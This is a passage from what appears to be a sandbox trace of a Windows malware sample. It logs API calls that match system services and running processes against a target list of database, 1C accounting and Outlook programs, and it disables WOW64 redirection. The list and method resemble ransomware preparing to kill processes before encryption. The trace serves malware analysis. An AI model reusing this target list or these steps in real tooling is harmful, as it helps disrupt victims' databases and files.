lpString2="MpsSvc") returned -1 [0182.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0182.355] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0182.355] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0182.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0182.355] lstrlenW (lpString="Netman") returned 6 [0182.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0182.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0182.355] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0182.355] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0182.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0182.355] lstrlenW (lpString="netprofm") returned 8 [0182.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0182.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0182.355] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0182.355] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0182.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0182.355] lstrlenW (lpString="NlaSvc") returned 6 [0182.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0182.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0182.356] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0182.356] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0182.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0182.356] lstrlenW (lpString="nsi") returned 3 [0182.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0182.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0182.356] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0182.356] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0182.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0182.356] lstrlenW (lpString="PcaSvc") returned 6 [0182.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0182.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0182.356] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0182.356] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0182.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0182.356] lstrlenW (lpString="PlugPlay") returned 8 [0182.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0182.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0182.356] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0182.356] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0182.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0182.356] lstrlenW (lpString="Power") returned 5 [0182.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0182.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0182.356] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0182.356] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0182.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0182.356] lstrlenW (lpString="ProfSvc") returned 7 [0182.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0182.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0182.356] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0182.356] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0182.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0182.357] lstrlenW (lpString="RpcEptMapper") returned 12 [0182.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0182.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0182.357] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0182.357] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0182.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0182.357] lstrlenW (lpString="RpcSs") returned 5 [0182.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0182.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0182.357] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0182.357] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0182.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0182.357] lstrlenW (lpString="SamSs") returned 5 [0182.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0182.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0182.357] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0182.357] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0182.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0182.357] lstrlenW (lpString="Schedule") returned 8 [0182.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0182.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0182.357] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0182.357] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0182.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0182.357] lstrlenW (lpString="SENS") returned 4 [0182.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0182.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0182.357] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0182.357] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0182.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0182.357] lstrlenW (lpString="ShellHWDetection") returned 16 [0182.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0182.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0182.358] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0182.358] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0182.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0182.358] lstrlenW (lpString="Spooler") returned 7 [0182.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0182.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0182.358] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0182.358] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0182.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0182.358] lstrlenW (lpString="SysMain") returned 7 [0182.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0182.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0182.358] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0182.358] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0182.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0182.358] lstrlenW (lpString="Themes") returned 6 [0182.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0182.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0182.358] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0182.358] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0182.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0182.358] lstrlenW (lpString="TrkWks") returned 6 [0182.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0182.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0182.358] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0182.358] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0182.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0182.358] lstrlenW (lpString="UxSms") returned 5 [0182.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0182.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0182.358] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0182.358] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0182.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0182.358] lstrlenW (lpString="WdiServiceHost") returned 14 [0182.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0182.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0182.359] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0182.359] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0182.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0182.359] lstrlenW (lpString="WdiSystemHost") returned 13 [0182.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0182.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0182.359] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0182.359] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0182.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0182.359] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0182.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0182.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0182.359] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0182.359] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0182.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0182.359] lstrlenW (lpString="Winmgmt") returned 7 [0182.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0182.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0182.359] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0182.359] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0182.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0182.359] lstrlenW (lpString="WPDBusEnum") returned 10 [0182.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0182.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0182.359] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0182.359] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0182.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0182.359] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x724190 | out: hHeap=0x630000) returned 1 [0182.359] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c [0182.361] Process32FirstW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.361] Process32NextW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0182.361] lstrlenW (lpString="System") returned 6 [0182.361] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0182.361] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0182.361] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0182.361] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0182.362] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0182.362] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0182.362] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0182.362] Process32NextW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0182.362] lstrlenW (lpString="smss.exe") returned 8 [0182.362] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0182.362] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0182.362] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0182.362] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0182.362] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0182.362] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0182.362] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0182.362] Process32NextW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0182.362] lstrlenW (lpString="csrss.exe") returned 9 [0182.362] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0182.362] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0182.363] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0182.363] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0182.363] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0182.363] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0182.363] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0182.363] Process32NextW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0182.363] lstrlenW (lpString="wininit.exe") returned 11 [0182.363] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0182.363] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0182.363] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0182.363] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0182.363] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0182.363] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0182.363] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0182.363] Process32NextW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0182.364] lstrlenW (lpString="csrss.exe") returned 9 [0182.364] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0182.364] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0182.364] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0182.364] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0182.364] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0182.364] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0182.364] Process32NextW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0182.364] lstrlenW (lpString="winlogon.exe") returned 12 [0182.364] Process32NextW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0182.365] lstrlenW (lpString="services.exe") returned 12 [0182.365] Process32NextW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0182.365] lstrlenW (lpString="lsass.exe") returned 9 [0182.365] Process32NextW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0182.365] lstrlenW (lpString="lsm.exe") returned 7 [0182.365] Process32NextW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.366] lstrlenW (lpString="svchost.exe") returned 11 [0182.366] Process32NextW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.366] lstrlenW (lpString="svchost.exe") returned 11 [0182.366] Process32NextW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.366] lstrlenW (lpString="svchost.exe") returned 11 [0182.366] Process32NextW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.367] lstrlenW (lpString="svchost.exe") returned 11 [0182.367] Process32NextW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.367] lstrlenW (lpString="svchost.exe") returned 11 [0182.367] Process32NextW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0182.367] lstrlenW (lpString="audiodg.exe") returned 11 [0182.367] Process32NextW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.368] lstrlenW (lpString="svchost.exe") returned 11 [0182.368] Process32NextW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0182.368] lstrlenW (lpString="explorer.exe") returned 12 [0182.368] Process32NextW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0182.368] lstrlenW (lpString="dwm.exe") returned 7 [0182.368] Process32NextW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.369] lstrlenW (lpString="svchost.exe") returned 11 [0182.369] Process32NextW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0182.369] lstrlenW (lpString="n.exe") returned 5 [0182.369] Process32NextW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0182.369] lstrlenW (lpString="spoolsv.exe") returned 11 [0182.369] Process32NextW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.370] lstrlenW (lpString="svchost.exe") returned 11 [0182.370] Process32NextW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0182.370] lstrlenW (lpString="taskhost.exe") returned 12 [0182.370] Process32NextW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0182.371] lstrlenW (lpString="reader_sl.exe") returned 13 [0182.371] Process32NextW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0182.371] lstrlenW (lpString="n.exe") returned 5 [0182.371] Process32NextW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0182.371] lstrlenW (lpString="n.exe") returned 5 [0182.371] Process32NextW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0182.372] lstrlenW (lpString="cmd.exe") returned 7 [0182.372] Process32NextW (in: hSnapshot=0x11c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0182.372] CloseHandle (hObject=0x11c) returned 1 [0182.372] Sleep (dwMilliseconds=0x1f4) Thread: id = 331 os_tid = 0x720 [0147.068] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681420 [0147.068] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x68bd80 [0147.068] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681438 [0147.068] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681438, Size=0x20) returned 0x665de8 [0147.068] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681438 [0147.068] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681438, Size=0x20) returned 0x665d98 [0147.068] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0147.068] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0147.068] Wow64DisableWow64FsRedirection (in: OldValue=0x23eff28 | out: OldValue=0x23eff28*=0x0) returned 1 [0147.068] lstrlenW (lpString="kernel32.dll") returned 12 [0147.068] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665de8 | out: hHeap=0x630000) returned 1 [0147.069] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0147.069] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665d98 